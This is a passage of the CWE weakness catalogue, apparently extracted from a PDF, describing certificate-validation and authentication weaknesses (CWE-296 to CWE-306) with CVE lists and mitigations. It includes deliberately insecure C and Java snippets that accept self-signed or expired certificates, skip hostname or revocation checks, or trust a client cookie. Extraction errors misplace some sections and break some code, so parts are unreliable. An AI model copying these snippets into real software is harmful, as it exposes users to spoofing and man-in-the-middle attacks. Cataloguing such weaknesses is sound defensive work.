<td>Hide activities</td>
<td></td>
</tr>
<tr>
<td>Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.</td>
<td></td>
</tr>
<tr>
<td>Integrity</td>
<td></td>
</tr>
<tr>
<td>Confidentiality</td>
<td></td>
</tr>
<tr>
<td>Availability</td>
<td></td>
</tr>
<tr>
<td>Access Control</td>
<td></td>
</tr>
<tr>
<td>Gain privileges / assume identity</td>
<td></td>
</tr>
<tr>
<td>Execute unauthorized code or commands</td>
<td></td>
</tr>
<tr>
<td>Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.</td>
<td></td>
</tr>
<tr>
<td>Likelihood of Exploit</td>
<td></td>
</tr>
<tr>
<td>Low</td>
<td></td>
</tr>
<tr>
<td>Demonstrative Examples</td>
<td></td>
</tr>
</tbody>
</table>
This code checks the certificate of a connected peer.

**C/C++ Example:**

```c
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or conducting a man-in-the-middle attack.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0862</td>
<td>Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.</td>
</tr>
<tr>
<td>CVE-2002-0970</td>
<td>File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.</td>
</tr>
<tr>
<td>CVE-2008-4989</td>
<td>Verification function trusts certificate chains in which the last certificate is self-signed.</td>
</tr>
<tr>
<td>CVE-2009-0124</td>
<td>Chain: Incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.</td>
</tr>
<tr>
<td>CVE-2009-0265</td>
<td>Chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.</td>
</tr>
<tr>
<td>CVE-2009-3046</td>
<td>Web browser does not check if any intermediate certificates are revoked.</td>
</tr>
<tr>
<td>CVE-2012-5821</td>
<td>Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Ensure that proper certificate checking is included in the system design.

**Implementation**

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>699 522</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000 913</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711 1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>948</td>
<td>SFP Secondary Cluster: Digital Certificate</td>
<td>888 1376</td>
</tr>
<tr>
<td>PeerOf</td>
<td>E</td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
<td>1000 650</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Failure to follow chain of trust in certificate validation</td>
</tr>
</tbody>
</table>

**References**


Summary
The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.

Extended Description
Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.

Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Architectural Paradigms
• Mobile Application

Common Consequences
Access Control
Gain privileges / assume identity
The data read from the system vouched for by the certificate may not be from the expected system.

Authentication
Other
Other
Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing or redirection attacks.

Likelihood of Exploit
High

Demonstrative Examples
The following OpenSSL code obtains a certificate and verifies it.

C/C++ Example:

```c

cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0355</td>
<td>Web browser does not validate Common Name, allowing spoofing of https sites.</td>
</tr>
<tr>
<td>CVE-2009-2408</td>
<td>Web browser does not correctly handle `\0' character (NUL) in Common Name, allowing spoofing of https sites.</td>
</tr>
<tr>
<td>CVE-2009-3767</td>
<td>LDAP server's incorrect handling of `\0' character (NUL) in hostname verification allows spoofing.</td>
</tr>
<tr>
<td>CVE-2009-4565</td>
<td>Mail server's incorrect handling of `\0' character (NUL) in hostname verification allows spoofing.</td>
</tr>
</tbody>
</table>
## CWE-298: Improper Validation of Certificate Expiration

### Description

Incorrect handling of ‘0’ character (NUL) in hostname verification allows spoofing.

Database program truncates the Common Name during hostname verification, allowing spoofing.

Smartphone device does not verify hostname, allowing spoofing of mail services.

Cloud-support library written in Python uses incorrect regular expression when matching hostname.

Merchant SDK for payments does not verify the hostname.

PHP library for payments does not verify the hostname.

SOAP platform does not verify the hostname.

E-commerce module does not verify hostname when connecting to payment site.

Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function.

Software for electronic checking does not verify hostname, leading to financial loss.

Mobile banking application does not verify hostname, leading to financial loss.

Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents.

Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.

Cloud storage management application does not validate hostname.

Application uses third-party library that does not validate hostname.

Chat application does not validate hostname, leading to loss of privacy.

### Potential Mitigations

#### Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1354</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>948</td>
<td>SFP Secondary Cluster: Digital Certificate</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1376</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>650</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Failure to validate host-specific certificate data</td>
</tr>
</tbody>
</table>

### References

Summary
A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

Extended Description
When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Common Consequences
Integrity
Other
Other
The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.

Authentication
Other
Other
Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing attacks.

Likelihood of Exploit
Low

Demonstrative Examples
The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

C/C++ Example:

```c
if (cert = SSL_get_peer(certificate(ssl)) { 
  foo=SSL_get_verify_result(ssl); 
  if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
    //do stuff
```

If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

Potential Mitigations
Architecture and Design
Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>699</td>
<td>522</td>
</tr>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>1000</td>
<td>1041</td>
</tr>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
<td>1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>948</td>
<td>SFP Secondary Cluster: Digital Certificate</td>
<td>888</td>
<td>1376</td>
</tr>
<tr>
<td>PeerOf</td>
<td>3</td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
<td>1000</td>
<td>570</td>
</tr>
<tr>
<td>PeerOf</td>
<td>3</td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
<td>1000</td>
<td>650</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Failure to validate certificate expiration</td>
</tr>
</tbody>
</table>
### CWE-299: Improper Check for Certificate Revocation

**Weakness ID:** 299 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

**Extended Description**

An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Access Control**

- **Gain privileges / assume identity**

  Trust may be assigned to an entity who is not who it claims to be.

**Integrity**

- Other

**Other**

- Data from an untrusted (and possibly malicious) source may be integrated.

**Confidentiality**

- **Read application data**

  Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

**Likelihood of Exploit**

- Medium

**Demonstrative Examples**

The following OpenSSL code ensures that there is a certificate before continuing execution.

**C/C++ Example:**

```
if (cert = SSL_get_peer_certificate(ssl)) {
  // got a certificate, do secret things
```

Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4409</td>
<td>Product cannot access certificate revocation list when an HTTP proxy is being used.</td>
</tr>
<tr>
<td>CVE-2006-4410</td>
<td>Certificate revocation list not searched for certain certificates.</td>
</tr>
<tr>
<td>CVE-2008-4679</td>
<td>chain: web service component does not call the expected method, which prevents a check for revoked certificates.</td>
</tr>
<tr>
<td>CVE-2009-0161</td>
<td>chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate.</td>
</tr>
<tr>
<td>CVE-2009-0642</td>
<td>chain: language interpreter does not properly check the return value from an OCSP function, allowing bypass using a revoked certificate.</td>
</tr>
</tbody>
</table>

**References**

CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

Description

Summary

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

Extended Description

In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

Time of Introduction

- Architecture and Design

Applicable Platforms

Potential Mitigations

Architecture and Design

Ensure that certificates are checked for revoked status.

References

Languages

- All

Common Consequences

Confidentiality
Integrity
Access Control
Read application data
Modify application data
Gain privileges / assume identity

An attacker could pose as one of the entities and read or possibly modify the communication.

Demonstrative Examples

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

Java Example:

```java
Socket sock;
PrintWriter out;
try {
    sock = new Socket(REMOTE_HOST, REMOTE_PORT);
    out = new PrintWriter(echoSocket.getOutputStream(), true);
    // Write data to remote host via socket output stream.
    ...
}
```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2014-1266</td>
<td>chain: incorrect &quot;goto&quot; in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple &quot;goto fail&quot; bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Always fully authenticate both ends of any communications channel.

Architecture and Design

Adhere to the principle of complete mediation.

Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844 1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>699 1354</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>888 1378</td>
</tr>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>1000 949</td>
</tr>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
<td>1000 952</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Man-in-the-middle (MITM)</td>
</tr>
</tbody>
</table>
CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID: 301 (Weakness Variant) Status: Draft

Description

Summary

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Gain privileges / assume identity

The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example:

```c
unsigned char *simple_digest(char *alg, char *buf, unsigned int len, int *olen) {
    const EVP_MD *m;
    EVP_MD_CTX ctx;
    unsigned char *ret;
    OpenSSL_add_all_digests();
    if (!(m = EVP_get_digestbyname(alg))) return NULL;
    if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
    EVP_DigestInit(&ctx, m);
    EVP_DigestUpdate(&ctx, buf, len);
    EVP_DigestFinal(&ctx, ret, olen);
    return ret;
}
```

```c
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
    simple_digest("sha1", password_and_cmd);
}
```
Java Example:

```java
String command = new String("some cmd to execute & the password");
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8");
byte[] digest = encer.digest();
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-3435</td>
<td>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

**Other Notes**

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬅️</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>⬅️</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬅️</td>
<td>718</td>
<td>OWASP Top Ten 2007 Category A7: Broken Authentication and Session Management</td>
<td>1117</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬅️</td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>1378</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Reflection attack in an auth protocol</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A7</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>90</td>
<td>Reflection Attack in Authentication Protocol</td>
</tr>
</tbody>
</table>

**References**


**Maintenance Notes**

The term “reflection” is used in multiple ways within CWE and the community, so its usage should be reviewed.
CWE-302: Authentication Bypass by Assumed-Immutable Data

Description

Summary
The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Access Control
- Bypass protection mechanism

Demonstrative Examples

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

Java Example:

```java
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
    ...
}
```

Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0367</td>
<td>DebPloit</td>
</tr>
<tr>
<td>CVE-2002-1730</td>
<td>Authentication bypass by setting certain cookies to &quot;true&quot;.</td>
</tr>
<tr>
<td>CVE-2002-1734</td>
<td>Authentication bypass by setting certain cookies to &quot;true&quot;.</td>
</tr>
<tr>
<td>CVE-2002-2054</td>
<td>Gain privileges by setting cookie.</td>
</tr>
<tr>
<td>CVE-2002-2064</td>
<td>Admin access by setting a cookie.</td>
</tr>
<tr>
<td>CVE-2004-0261</td>
<td>Web auth</td>
</tr>
<tr>
<td>CVE-2004-1611</td>
<td>Product trusts authentication information in cookie.</td>
</tr>
<tr>
<td>CVE-2005-1708</td>
<td>Authentication bypass by setting admin-testing variable to true.</td>
</tr>
<tr>
<td>CVE-2005-1787</td>
<td>Bypass auth and gain privileges by setting a variable.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Operation

Implementation
Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>699 508</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711 1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
<td>1000 1243</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844 1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>888 1376</td>
</tr>
</tbody>
</table>
CWE-303: Incorrect Implementation of Authentication Algorithm

**Weakness ID:** 303 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

The requirements for the software dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.

**Extended Description**

This incorrect implementation may allow authentication to be bypassed.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Access Control
- Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0750</td>
<td>Conditional should have been an 'or' not an 'and'.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☢️</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699 508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢️</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888 1376</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Authentication Logic Error</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
<td></td>
</tr>
<tr>
<td>13</td>
<td>Subverting Environment Variable Values</td>
<td></td>
</tr>
<tr>
<td>21</td>
<td>Exploitation of Trusted Credentials</td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>Buffer Overflow via Symbolic Links</td>
<td></td>
</tr>
<tr>
<td>77</td>
<td>Manipulating User-Controlled Variables</td>
<td></td>
</tr>
<tr>
<td>274</td>
<td>HTTP Verb Tampering</td>
<td></td>
</tr>
</tbody>
</table>

CWE-304: Missing Critical Step in Authentication

**Weakness ID:** 304 *(Weakness Base)*  
**Status:** Draft
Description
Summary
The software implements an authentication technique, but it skips a step that weakens the technique.
Extended Description
Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Integrity
Confidentiality
Bypass protection mechanism
Gain privileges / assume identity
Read application data
Execute unauthorized code or commands
This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or allowing attackers to execute arbitrary code.

Observed Examples
Reference Description
CVE-2004-2163 Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.

Relationships
<p>|</p>
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
<td>913</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
<td>1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888</td>
<td>1376</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☐</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

CWE-305: Authentication Bypass by Primary Weakness

Weakness ID: 305 (Weakness Base)

Description
Summary
The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All
CWE Version 2.11
CWE-306: Missing Authentication for Critical Function

Common Consequences
Access Control
Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0979</td>
<td>The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password.</td>
</tr>
<tr>
<td>CVE-2001-0088</td>
<td>Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges.</td>
</tr>
<tr>
<td>CVE-2002-1374</td>
<td>The provided password is only compared against the first character of the real password.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>📋</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>📋</td>
<td>287</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>📋</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
Most "authentication bypass" errors are resultant, not primary.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Authentication Bypass by Primary Weakness</td>
</tr>
</tbody>
</table>

CWE-306: Missing Authentication for Critical Function

Weakness ID: 306 (Weakness Variant) Status: Draft

Description

Summary
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Common Consequences

Access Control

Other

Gain privileges / assume identity

Other
Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.

Likelihood of Exploit
Medium to High

Detection Methods
Manual Analysis
